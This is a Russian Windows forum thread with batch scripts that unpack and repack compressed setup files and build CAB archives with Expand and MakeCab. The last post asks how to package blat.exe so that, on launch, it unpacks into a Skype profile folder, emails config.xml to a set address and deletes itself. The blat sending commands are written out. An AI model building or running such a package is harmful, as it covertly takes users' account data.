Войти

Показать полную графическую версию : [решено] Запакавка распаковка файлов из дистрибутива


Pozia
22-09-2009, 18:07
Подскажите какой командой в CMD распаковать файлы вида XPTHT37W.CS_, XPTHT53D.GI_ и запаковать их обратно. Причем таких файлов куча лежит в папке и нужно их распаковать в эту же или другую папку. И как запоковать обратно?

gora
22-09-2009, 19:38
rem Распаковка файла
Expand -r "Temp\Comctl2.dl_" Temp\ >nul
pause
rem Упаковка файла
MakeCab /D CompressionMemory=21 /D CompressionType=LZX /L "Temp" Temp\Comctl2.dll Comctl2.dl_ >nul
pause Можете подсмотреть в скрипте UpDatePack-a.

Pozia
26-09-2009, 00:38
gora, выполняю так:

Expand -r "*.*" \ >nul

и ничего. А нужно чтобы все файлы из текущей папки распаковало в эту же папку.

gora
26-09-2009, 07:36
нужно чтобы все файлы из текущей папки распаковало в эту же папку »
Текущей - значит скрипт находится в той же папке, что и распаковываемые файлы.For %%I In (*.??_) Do Expand -r "%%I" >nul

Pozia
30-09-2009, 19:24
Можете подсмотреть в скрипте UpDatePack-a. »
я туговат с этими скриптами. Могли бы Вы подсказать еще скрипт для распаковки кучи файлов в нужную мне папку и упаковку обратно всех файлов из одной папки в другую?

gora
30-09-2009, 23:13
скрипт для распаковки кучи файлов в нужную мне папку и упаковку обратно всех файлов из одной папки в другую? »@Echo Off
setlocal enabledelayedexpansion
rem Путь и имя папки со сжатыми файлами
Set "Source=c:\musor\temp"
rem Путь и имя папки для распакованных файлов
Set "Out_1=c:\musor\temp1"
rem Путь и имя папки для повторно сжатых файлов
Set "Out_2=c:\musor\temp2"

rem Распаковка файлов из папки Source в папку Out_1
For /F "UseBackQ Delims=" %%I In (`Dir "%Source%\*.??_" /B /ON 2^>nul`) Do Expand -r "%Source%\%%~I" "%Out_1%" >nul
Pause

rem Упаковка файлов из папки Out_1 в папку Out_2
For /F "UseBackQ Delims=" %%I In (`Dir "%Out_1%\*" /B /ON 2^>nul`) Do (
Set ext=%%~xI
MakeCab /D CompressionMemory=21 /D CompressionType=LZX /L "%Out_2%" "%Out_1%\%%~I" "%%~nI!ext:~0,-1!_" >nul
)
Pause
Exit

Pozia
21-10-2009, 16:27
gora, подскажите еще команду пожалуйста. Мне нужно кучу файлов из одной папки упаковать в CAB архив в другую папку. Как это записать?

E-mpty
22-10-2009, 10:40
Pozia, я делал так:For %%I In (Диск:\папка с файлами,которые нужно уапаковать\*.*) Do START /WAIT MAKECAB.exe "%%~I"
Запакованные файлы появится там от куда был запущен батник.

Petya V4sechkin
22-10-2009, 11:50
нужно кучу файлов из одной папки упаковать в CAB архив в другую папку.
Можно с помощью Makecab:
@Echo Off
SetLocal EnableExtensions

Set SrcDir=Папка_с_файлами
Set DestCAB=Полное_имя_CAB-файла

Echo .OPTION EXPLICIT > "%Temp%\x1.DDF"
Echo .Set RptFileName="%Temp%\x1.RPT" >> "%Temp%\x1.DDF"
Echo .Set InfFileName=NUL >> "%Temp%\x1.DDF"
Echo .Set DestinationDir= >> "%Temp%\x1.DDF"
Echo .Set CabinetName1="%DestCAB%" >> "%Temp%\x1.DDF"
Echo .Set DiskDirectoryTemplate= >> "%Temp%\x1.DDF"
Echo .Set UniqueFiles=Off >> "%Temp%\x1.DDF"
Echo .Set FolderSizeThreshold=5000000 >> "%Temp%\x1.DDF"
Echo .Set MaxDiskSize=0 >> "%Temp%\x1.DDF"
Echo .Set Cabinet=On >> "%Temp%\x1.DDF"
Echo .Set Compress=On >> "%Temp%\x1.DDF"
Echo .Set CompressionType=LZX >> "%Temp%\x1.DDF"
Echo .Set CompressionMemory=21 >> "%Temp%\x1.DDF"
For /F "Delims=" %%K In ('Dir /A-D /B "%SrcDir%"') Do Echo "%SrcDir%\%%~K" >> "%Temp%\x1.DDF"
MAKECAB.EXE /F "%Temp%\x1.DDF"

или воспользоваться Cabarc.exe (http://support.microsoft.com/kb/310618)

Pozia
25-10-2009, 19:43
Petya V4sechkin, а можете попроще написать команду? Самому не получается. Мне нужно запустить скрипт, который сожмет все файлы в папке лежащей рядом со скриптом в файл под тем же именем что и папка??? Ведение журнала мне совершенно не нужно (если я правильно понял Ваш скрипт)

Iska
25-10-2009, 21:58
Pozia, неправильно поняли. В данном случае строится файл «*.ddf», необходимый для работы утилиты «makecab.exe».

Подробное описание и формат файла инструкций Вы можете найти в файле «.\DOCS\makecab.doc» из набора Microsoft Cabinet Software Development Kit (http://support.microsoft.com/kb/310618) в разделе 4.

zaxtone
05-03-2013, 22:37
Ребята есть такая задача, помогите решить
Имею в одной папке бат с командой:


:send
blat.exe -install -server smtp.mail.ru -port 587 -f (емейл отпавителя)@mail.ru -u (лоин отправителя) -pw (пароль отправителя)
blat.exe -body text -to (емейл получателя)@mail.ru -attach config.xml

и файлы blat.exe, blat.dll, blat.lib

Как мне запокавать в exe или bat так что бы при запуске его он распокавал это все в директорию %appdata%\Skype\(папка именем логина)\ там же запустил тот самый bat с вышеописаной командой:


:send
blat.exe -install -server smtp.mail.ru -port 587 -f (емейл отпавителя)@mail.ru -u (лоин отправителя) -pw (пароль отправителя)
blat.exe -body text -to (емейл получателя)@mail.ru -attach config.xml

после чтоб все это удалилось.
Спасибо)

Iska
06-03-2013, 02:21
zaxtone, Вы разместили свой вопрос в теме, не имеющуей к нему никакого отношения. Выносите вопрос в отдельную или соответствующую тему.




© OSzone.net 2001-2012